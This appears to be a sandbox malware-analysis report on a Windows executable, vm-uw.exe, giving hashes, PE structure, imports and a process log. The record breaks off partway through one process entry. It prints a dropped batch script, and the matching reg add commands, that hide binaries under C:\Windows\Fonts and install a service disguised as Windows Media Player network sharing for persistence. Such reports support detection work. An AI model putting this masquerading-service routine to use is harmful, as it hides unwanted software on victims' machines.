SSDEEP:	24:e8J5DnVZ6c3Y02M6bZAcalIAI72M6MRMJMAI72M6oB2M6oQGQEOI72M6oh1EAI0f:t5D+co0c1AP8cMRe8cMcYO8cI1EAZ0Tg
MD5:	ED936FD33024AC753E8E7BE6B4C39F69
SHA1:	2A9329EDEC6273CB30DFD420BDE80A4E7675FFC7
SHA-256:	038A41E1CC19BF3833333DC8997B633CF33500A13C373593408E3416447B8553
SHA-512:	60C95EB51C5DEDE283581BADF970B6722013A7CB3CED4716DCC74674FDD9B75227300DB0EDB8F70DC5C760D4BB8313BEA1F9403BCE2A5B9AC9BBCD10214F6D3F
Malicious:	true
Preview:	mode con: cols=16 lines=2..ping 127.0.0.1..C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe..ping 127.0.0.1..reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v Description /d "Shares Windows Media Player libraries to other networked players and media devices using Universal Plug and Play." /t reg_sz /f..reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v DisplayName /d "Windows Media Player Network Sharing Service." /t reg_sz /f..reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters..reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v AppDirectory /d "C:\Windows\Fonts\systkm32" /t reg_sz /f..reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters /v Application /d ""C:\Program Files (x86)\VMware\VMware Workstation\vmware.exe" -x "C:\Windows\Logs\ubu\3333.vmx"" /t reg_sz /f..ping 127.0.0.1..sc start

\Device\ConDrv

Download File

Process:	C:\Windows\Fonts\systkm32\csrss.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.448922834861267
Encrypted:	false
SSDEEP:	3:CmXhmnXjzDZAeKXO2E77Qyd45QnBX9jgDKVgjoH/XS1FmAsoWROn:CmRmnXjP+VXO2E77/64guVJ/XSeAsLRO
MD5:	56A963BDFAA124C4D00843552370D1FE
SHA1:	66ED31AD816394CF07C7D8330C3E60927170BABD
SHA-256:	1AFA092248E35494CD5153C9744494C51BF93B44BDCB38C5CAFE5B4FF88F8902
SHA-512:	239CA8D84138FA11F8F9E74DFE8B14A2645A87D75EFC4CB495538876E5304464DCCD36DF610288C637587E7B6DB8FF4A8A91F57FA1FE71BFAF6B289A91DDB455
Malicious:	false
Preview:	.. CreateService SUCCESS at creating:.... WMPNetworkSxc.... You must now go to the Registry and the Services applet in the.. Control Panel and edit them as per the instructions.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.48742080673987
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	vm-uw.exe
File size:	580'475 bytes
MD5:	78c6129bfd81f88cfb7171caf2d386a1
SHA1:	f626224572dea0bc2983e3b3986bd1c1af5533ce
SHA256:	aa1ad7c508d497292d1e017b946cc381be204bd641543bcf584da286eb6f685f
SHA512:	38d0f61a25f015ad149765ced45ab81591ec02f9fe290c1560db9f53f9b7e6edc371eaebbcc54156006e63fe323b976bf560b9db69328f5ffe0fd9b734a9717b
SSDEEP:	12288:LQM9bROJmafSPZDz7qElw2KxPo0q7qzC9b/uEvtHKYTsviIR8Cufe9ZqQwExr//R:Ld9Mrf7iaNVxowGT/M
TLSH:	21C47C31B7A2C0B5C26D41301FA8EAB655AD7F244F610AE777C87E1A29F04E06635F36
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........:.>T[.mT[.mT[.m...mY[.m...m.[.m...mN[.mT[.mV[.m.2.lW[.m.3.lF[.m.3.lL[.m.3.lz[.m.2.lU[.m]#\|mP[.m]#lmE[.mT[.m.[.m.2.l.[.m.2.mU[.

File Icon


Icon Hash:	db3b74597872391b

Static PE Info

General

Entrypoint:	0x43b6f1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x618DE39C [Fri Nov 12 03:46:36 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	eec4c9510d1f15621b464022e8c2d408

Entrypoint Preview

Instruction
call 00007FD3BCED83E7h
jmp 00007FD3BCED7B3Fh
call 00007FD3BCED7CE7h
push 00000000h
call 00007FD3BCED7878h
pop ecx
test al, al
je 00007FD3BCED7CD0h
push 0043B811h
call 00007FD3BCED7A22h
pop ecx
xor eax, eax
ret
push 00000007h
call 00007FD3BCED811Fh
int3
push ebp
mov ebp, esp
push FFFFFFFFh
push 0044F522h
mov eax, dword ptr fs:[00000000h]
push eax
push ebx
push esi
push edi
mov eax, dword ptr [0046600Ch]
xor eax, ebp
push eax
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
push 00000FA0h
push 00469220h
call dword ptr [00450044h]
push 004503D0h
call dword ptr [0045003Ch]
mov esi, eax
test esi, esi
jne 00007FD3BCED7CD7h
push 0045A754h
call dword ptr [0045003Ch]
mov esi, eax
test esi, esi
je 00007FD3BCED7D52h
push 00450414h
push esi
call dword ptr [0045002Ch]
push 00450430h
push esi
mov ebx, eax
call dword ptr [0045002Ch]
push 0045044Ch
push esi
mov edi, eax
call dword ptr [0045002Ch]
mov esi, eax
test ebx, ebx
je 00007FD3BCED7CFAh
test edi, edi
je 00007FD3BCED7CF6h
test esi, esi
je 00007FD3BCED7CF2h
and dword ptr [0046923Ch], 00000000h

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6498c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6f000	0x1e274	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8e000	0x4e94	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5cf70	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5d080	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5cfe0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x50000	0x284	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4e8db	0x4ea00	7296a174c97dde3447454c549f28ba89	False	0.5489554352146264	data	6.653917614698595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x50000	0x157de	0x15800	267d5b7a634664da1012e9aa48c96ae2	False	0.4493095930232558	data	5.3004440169135085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x66000	0x86c0	0x3000	548ea8cc9f1d41ead8891532908d09c7	False	0.18123372395833334	DOS executable (block device driver \277DN\346@\273)	4.487709554306666	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x6f000	0x1e274	0x1e400	020fad0e6b278437adb11a930d31859a	False	0.3044211647727273	data	5.185160331800087	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8e000	0x4e94	0x5000	0f982d8863b6d552c167374e2ffd1f4b	False	0.58095703125	data	6.458158429451074	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x70b10	0x405e	Device independent bitmap graphic, 93 x 280 x 8, 1 compression, image size 15414, resolution 2834 x 2834 px/m	Chinese	China	0.7535501881296274
RT_ICON	0x74b70	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	Chinese	China	0.08867837338262477
RT_ICON	0x79ff8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	Chinese	China	0.09529995276334435
RT_ICON	0x7e220	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Chinese	China	0.12551867219917012
RT_ICON	0x807c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Chinese	China	0.1775328330206379
RT_ICON	0x81870	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Chinese	China	0.14590163934426228
RT_ICON	0x821f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Chinese	China	0.1799645390070922
RT_DIALOG	0x82660	0x1dc	data	Chinese	China	0.5903361344537815
RT_DIALOG	0x8283c	0x2f6	data	Chinese	China	0.449868073878628
RT_DIALOG	0x82b34	0x150	data	Chinese	China	0.6398809523809523
RT_STRING	0x82c84	0x52	Matlab v4 mat-file (little endian) h, numeric, rows 0, columns 0	Chinese	China	0.7195121951219512
RT_STRING	0x82cd8	0x1b4	data	Chinese	China	0.7224770642201835
RT_STRING	0x82e8c	0x176	data	Chinese	China	0.6417112299465241
RT_STRING	0x83004	0x104	data	Chinese	China	0.8115384615384615
RT_STRING	0x83108	0xc8	data	Chinese	China	0.75
RT_STRING	0x831d0	0xb8	data	Chinese	China	0.8695652173913043
RT_STRING	0x83288	0xc4	data	Chinese	China	0.8877551020408163
RT_STRING	0x8334c	0x148	data	Chinese	China	0.774390243902439
RT_STRING	0x83494	0x1ae	data	Chinese	China	0.7023255813953488
RT_STRING	0x83644	0x11a	data	Chinese	China	0.7269503546099291
RT_STRING	0x83760	0xaa	data	Chinese	China	0.8588235294117647
RT_STRING	0x8380c	0x22e	data	Chinese	China	0.7795698924731183
RT_STRING	0x83a3c	0x92	data	Chinese	China	0.8424657534246576
RT_STRING	0x83ad0	0x1b0	data	Chinese	China	0.7453703703703703
RT_STRING	0x83c80	0x10a	data	Chinese	China	0.793233082706767
RT_STRING	0x83d8c	0x1aa	data	Chinese	China	0.8004694835680751
RT_STRING	0x83f38	0x12c	data	Chinese	China	0.8333333333333334
RT_STRING	0x84064	0x170	data	Chinese	China	0.6847826086956522
RT_STRING	0x841d4	0x98	data	Chinese	China	0.5723684210526315
RT_STRING	0x8426c	0x124	data	Chinese	China	0.6027397260273972
RT_STRING	0x84390	0x180	data	Chinese	China	0.8203125
RT_STRING	0x84510	0x258	data	Chinese	China	0.75
RT_STRING	0x84768	0x13c	data	Chinese	China	0.7468354430379747
RT_STRING	0x848a4	0x336	data	Chinese	China	0.39659367396593675
RT_STRING	0x84bdc	0x16c	data	Chinese	China	0.6813186813186813
RT_STRING	0x84d48	0x19e	data	Chinese	China	0.6714975845410628
RT_STRING	0x84ee8	0x1da	data	Chinese	China	0.729957805907173
RT_STRING	0x850c4	0x72	data	Chinese	China	0.7631578947368421
RT_STRING	0x85138	0x104	data	Chinese	China	0.7692307692307693
RT_STRING	0x8523c	0x150	data	Chinese	China	0.8184523809523809
RT_STRING	0x8538c	0x154	data	Chinese	China	0.7088235294117647
RT_STRING	0x854e0	0xe2	data	Chinese	China	0.7168141592920354
RT_STRING	0x855c4	0x17a	data	Chinese	China	0.6375661375661376
RT_STRING	0x85740	0x162	data	Chinese	China	0.7994350282485876
RT_STRING	0x858a4	0x144	data	Chinese	China	0.7067901234567902
RT_STRING	0x859e8	0xc4	data	Chinese	China	0.8469387755102041
RT_STRING	0x85aac	0x118	data	Chinese	China	0.7607142857142857
RT_STRING	0x85bc4	0xbe	data	Chinese	China	0.8210526315789474
RT_STRING	0x85c84	0x142	data	Chinese	China	0.6490683229813664
RT_STRING	0x85dc8	0xd6	data	Chinese	China	0.8878504672897196
RT_STRING	0x85ea0	0x54	data	Chinese	China	0.7738095238095238
RT_STRING	0x85ef4	0x1a4	data	Chinese	China	0.6761904761904762
RT_STRING	0x86098	0x152	data	Chinese	China	0.7396449704142012
RT_STRING	0x861ec	0xfa	data	Chinese	China	0.756
RT_STRING	0x862e8	0x134	data	Chinese	China	0.7012987012987013
RT_STRING	0x8641c	0x144	data	Chinese	China	0.6820987654320988
RT_STRING	0x86560	0xf4	data	Chinese	China	0.7172131147540983
RT_STRING	0x86654	0x1dc	data	Chinese	China	0.5063025210084033
RT_STRING	0x86830	0x1ca	data	Chinese	China	0.4497816593886463
RT_STRING	0x869fc	0x15e	data	Chinese	China	0.6914285714285714
RT_STRING	0x86b5c	0x13a	data	Chinese	China	0.7420382165605095
RT_STRING	0x86c98	0x262	data	Chinese	China	0.5688524590163935
RT_STRING	0x86efc	0x262	data	Chinese	China	0.6557377049180327
RT_STRING	0x87160	0x34	data	Chinese	China	0.6730769230769231
RT_STRING	0x87194	0x16e	data	Chinese	China	0.7021857923497268
RT_STRING	0x87304	0x196	data	Chinese	China	0.6995073891625616
RT_STRING	0x8749c	0x1fc	data	Chinese	China	0.5590551181102362
RT_STRING	0x87698	0x28a	AmigaOS bitmap font "&Tnx\232[ Rd\226\376V\007h\032\377"", fc_YSize 13568, 12134 elements, 2nd "\213S\376V\007h1Y%\215\032\377\376V\007h\357\215\204_\362]\317~X[(W\014T", 3rd ":N\034 Kb\250R\364f\260e\035 \016T2"	Chinese	China	0.703076923076923
RT_STRING	0x87924	0x17e	data	Chinese	China	0.5916230366492147
RT_STRING	0x87aa4	0x24e	data	Chinese	China	0.6237288135593221
RT_STRING	0x87cf4	0xac	data	Chinese	China	0.9941860465116279
RT_STRING	0x87da0	0x15a	data	Chinese	China	0.6502890173410405
RT_STRING	0x87efc	0x136	data	Chinese	China	0.7258064516129032
RT_STRING	0x88034	0xec	data	Chinese	China	0.6228813559322034
RT_STRING	0x88120	0x1b0	data	Chinese	China	0.5347222222222222
RT_STRING	0x882d0	0x198	data	Chinese	China	0.44362745098039214
RT_STRING	0x88468	0x150	data	Chinese	China	0.8125
RT_STRING	0x885b8	0xe8	data	Chinese	China	0.8060344827586207
RT_STRING	0x886a0	0xe4	data	Chinese	China	0.7719298245614035
RT_STRING	0x88784	0x124	data	Chinese	China	0.7397260273972602
RT_STRING	0x888a8	0x1d0	data	Chinese	China	0.6896551724137931
RT_STRING	0x88a78	0x184	data	Chinese	China	0.7860824742268041
RT_STRING	0x88bfc	0x18a	data	Chinese	China	0.7030456852791879
RT_STRING	0x88d88	0x11a	data	Chinese	China	0.8404255319148937
RT_STRING	0x88ea4	0x12a	data	Chinese	China	0.714765100671141
RT_STRING	0x88fd0	0x1e2	data	Chinese	China	0.7178423236514523
RT_STRING	0x891b4	0x1ac	data	Chinese	China	0.6542056074766355
RT_STRING	0x89360	0x100	data	Chinese	China	0.9296875
RT_STRING	0x89460	0x18e	data	Chinese	China	0.8190954773869347
RT_STRING	0x895f0	0x186	AmigaOS bitmap font "~bW[&{\323~\234g ", fc_YSize 31074, 58727 elements	Chinese	China	0.7205128205128205
RT_STRING	0x89778	0x122	data	Chinese	China	0.803448275862069
RT_STRING	0x8989c	0x16e	data	Chinese	China	0.6693989071038251
RT_STRING	0x89a0c	0x198	data	Chinese	China	0.6887254901960784
RT_STRING	0x89ba4	0x40a	data	Chinese	China	0.5667311411992263
RT_STRING	0x89fb0	0xe8	data	Chinese	China	0.8232758620689655
RT_STRING	0x8a098	0xd4	data	Chinese	China	0.7924528301886793
RT_STRING	0x8a16c	0xdc	data	Chinese	China	0.7863636363636364
RT_STRING	0x8a248	0x350	data	Chinese	China	0.714622641509434
RT_STRING	0x8a598	0x90	data	Chinese	China	0.6666666666666666
RT_STRING	0x8a628	0xda	Matlab v4 mat-file (little endian) \232[IN\006RwS\276\213n\177\014\377, numeric, rows 0, columns 0	Chinese	China	0.9495412844036697
RT_STRING	0x8a704	0x5c	AmigaOS bitmap font "\343\211\213S\013z\217^\275_\007h", 60033 elements	Chinese	China	0.5869565217391305
RT_STRING	0x8a760	0x142	data	Chinese	China	0.8385093167701864
RT_STRING	0x8a8a4	0xd4	data	Chinese	China	0.6792452830188679
RT_STRING	0x8a978	0x2c	Matlab v4 mat-file (little endian) }Y\213S\236[(u\345]wQ, numeric, rows 0, columns 0	Chinese	China	0.6363636363636364
RT_STRING	0x8a9a4	0x84	data	Chinese	China	0.8257575757575758
RT_STRING	0x8aa28	0xc2	data	Chinese	China	0.8505154639175257
RT_STRING	0x8aaec	0x232	data	Chinese	China	0.5907473309608541
RT_STRING	0x8ad20	0x38	data	Chinese	China	0.7321428571428571
RT_STRING	0x8ad58	0x5c	Matlab v4 mat-file (little endian) >f:y\346\213\306~\341Oo`\006, numeric, rows 0, columns 0	Chinese	China	0.6413043478260869
RT_STRING	0x8adb4	0xcc	data	Chinese	China	0.8774509803921569
RT_STRING	0x8ae80	0x106	data	Chinese	China	0.7366412213740458
RT_STRING	0x8af88	0x9c	data	Chinese	China	0.782051282051282
RT_STRING	0x8b024	0x11a	data	Chinese	China	0.8014184397163121
RT_STRING	0x8b140	0x20c	data	Chinese	China	0.5343511450381679
RT_STRING	0x8b34c	0x1e2	data	Chinese	China	0.5622406639004149
RT_STRING	0x8b530	0x10e	data	Chinese	China	0.837037037037037
RT_STRING	0x8b640	0x17c	data	Chinese	China	0.5210526315789473
RT_STRING	0x8b7bc	0x144	data	Chinese	China	0.6882716049382716
RT_STRING	0x8b900	0x88	Matlab v4 mat-file (little endian) O, numeric, rows 0, columns 0	Chinese	China	0.5294117647058824
RT_STRING	0x8b988	0x146	data	Chinese	China	0.7699386503067485
RT_STRING	0x8bad0	0xd8	data	Chinese	China	0.8888888888888888
RT_STRING	0x8bba8	0xbe	data	Chinese	China	0.8368421052631579
RT_STRING	0x8bc68	0x118	data	Chinese	China	0.8142857142857143
RT_STRING	0x8bd80	0x84	data	Chinese	China	0.8787878787878788
RT_STRING	0x8be04	0xf0	data	Chinese	China	0.8
RT_STRING	0x8bef4	0x7a	data	Chinese	China	0.680327868852459
RT_STRING	0x8bf70	0x78	data	Chinese	China	0.95
RT_STRING	0x8bfe8	0x106	data	Chinese	China	0.5992366412213741
RT_STRING	0x8c0f0	0xf6	data	Chinese	China	0.8617886178861789
RT_STRING	0x8c1e8	0x190	data	Chinese	China	0.78
RT_STRING	0x8c378	0xd2	data	Chinese	China	0.8428571428571429
RT_STRING	0x8c44c	0x106	data	Chinese	China	0.46564885496183206
RT_STRING	0x8c554	0x182	data	Chinese	China	0.7694300518134715
RT_STRING	0x8c6d8	0x19c	data	Chinese	China	0.779126213592233
RT_STRING	0x8c874	0x5a	data	Chinese	China	0.7
RT_STRING	0x8c8d0	0x30	data	Chinese	China	0.6666666666666666
RT_STRING	0x8c900	0x66	data	Chinese	China	0.8235294117647058
RT_GROUP_ICON	0x8c968	0x84	data	Chinese	China	0.7045454545454546
RT_VERSION	0x8c9ec	0x140	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79	English	United States	0.584375
RT_VERSION	0x8cb2c	0x284	MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79	Chinese	China	0.31211180124223603
RT_MANIFEST	0x8cdb0	0x4c1	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (1157), with CRLF line terminators	English	United States	0.4683648315529992

Imports

DLL	Import
COMCTL32.dll	InitCommonControlsEx
SHELL32.dll	SHBrowseForFolderW, SHGetFileInfoW, SHGetPathFromIDListW, SHGetMalloc, ShellExecuteExW, ShellExecuteW, CommandLineToArgvW
KERNEL32.dll	HeapAlloc, LocalFree, GetProcessHeap, GetFileAttributesW, LoadLibraryW, CloseHandle, GetProcAddress, FreeLibrary, GetCurrentProcess, GetVersionExW, GetModuleHandleW, ExpandEnvironmentStringsW, InitializeCriticalSectionAndSpinCount, WaitForSingleObject, CreateProcessW, GetModuleFileNameW, GetCurrentDirectoryW, SetCurrentDirectoryW, SetFileApisToOEM, SetPriorityClass, SetThreadPriority, GetEnvironmentVariableW, GetCurrentThread, GetCommandLineW, FindResourceW, FindFirstFileW, FindNextFileW, FindClose, GetLongPathNameW, CreateFileW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, DeleteCriticalSection, GetCurrentThreadId, LoadLibraryExW, WriteFile, SetFileTime, SetEndOfFile, FormatMessageW, InterlockedExchangeAdd, ReadFile, SetFilePointer, GetFileSize, ResumeThread, GetACP, GetLastError, WideCharToMultiByte, CreateDirectoryW, GetFullPathNameW, lstrlenW, RemoveDirectoryW, GetTempPathW, SetFileAttributesW, DeleteFileW, GetWindowsDirectoryW, MoveFileExW, GetTempFileNameW, MoveFileW, CreateEventW, SetEvent, ResetEvent, WaitForMultipleObjects, GetCurrentProcessId, FileTimeToSystemTime, WriteConsoleW, DecodePointer, FlushFileBuffers, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapReAlloc, HeapSize, SetStdHandle, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCPInfo, GetOEMCP, IsValidCodePage, FindFirstFileExW, LCMapStringW, HeapFree, MultiByteToWideChar, VirtualFree, VirtualAlloc, GetStringTypeW, ExitProcess, GetModuleHandleExW, FreeLibraryAndExitThread, ExitThread, CreateThread, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetSystemTimeAsFileTime, InitializeSListHead, GetStdHandle, GetFileType, RtlUnwind, RaiseException, SetLastError, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree
USER32.dll	DispatchMessageW, SetTimer, IsDialogMessageW, TranslateMessage, LoadIconW, KillTimer, PostQuitMessage, EnableWindow, ScreenToClient, IsWindow, MessageBoxW, ShowWindow, PostMessageW, GetWindowRect, SetWindowPos, DialogBoxParamW, SendMessageW, EndDialog, SetWindowTextW, SetFocus, GetDlgItem, GetWindowTextW, IsWindowVisible, CreateDialogParamW, GetMessageW, GetDesktopWindow, LoadStringW, DestroyIcon, GetSystemMetrics
GDI32.dll	CreateSolidBrush, DeleteObject
ole32.dll	CoCreateInstance, CoInitializeEx, CoUninitialize, CoInitialize

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Target ID:	0
Start time:	13:42:56
Start date:	11/06/2024
Path:	C:\Users\user\Desktop\vm-uw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\vm-uw.exe"
Imagebase:	0x1e0000
File size:	580'475 bytes
MD5 hash:	78C6129BFD81F88CFB7171CAF2D386A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:42:56
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Windows\Fonts\systkm32\vv.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:42:56
Start date:	11/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:42:56
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\HZ~F6EC.tmp.bat"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:42:56
Start date:	11/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:42:56
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\mode.com
Wow64 process (32bit):	true
Commandline:	mode con: cols=16 lines=2
Imagebase:	0x640000
File size:	26'624 bytes
MD5 hash:	FB615848338231CEBC16E32A3035C3F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:42:57
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1
Imagebase:	0x8c0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:42:57
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 2
Imagebase:	0x8c0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:43:00
Start date:	11/06/2024
Path:	C:\Windows\Fonts\systkm32\csrss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Fonts\systkm32\csrss.exe WMPNetworkSxc C:\Windows\Fonts\systkm32\svchost.exe
Imagebase:	0x400000
File size:	18'432 bytes
MD5 hash:	C43D1B84143FB2561F22E1A2C8FACF53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:43:00
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1
Imagebase:	0x8c0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:43:03
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v Description /d "Shares Windows Media Player libraries to other networked players and media devices using Universal Plug and Play." /t reg_sz /f
Imagebase:	0x2e0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:43:03
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc /v DisplayName /d "Windows Media Player Network Sharing Service." /t reg_sz /f
Imagebase:	0x2e0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:43:03
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WMPNetworkSxc\Parameters
Imagebase:	0x2e0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:43:03
Start date:	11/06/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
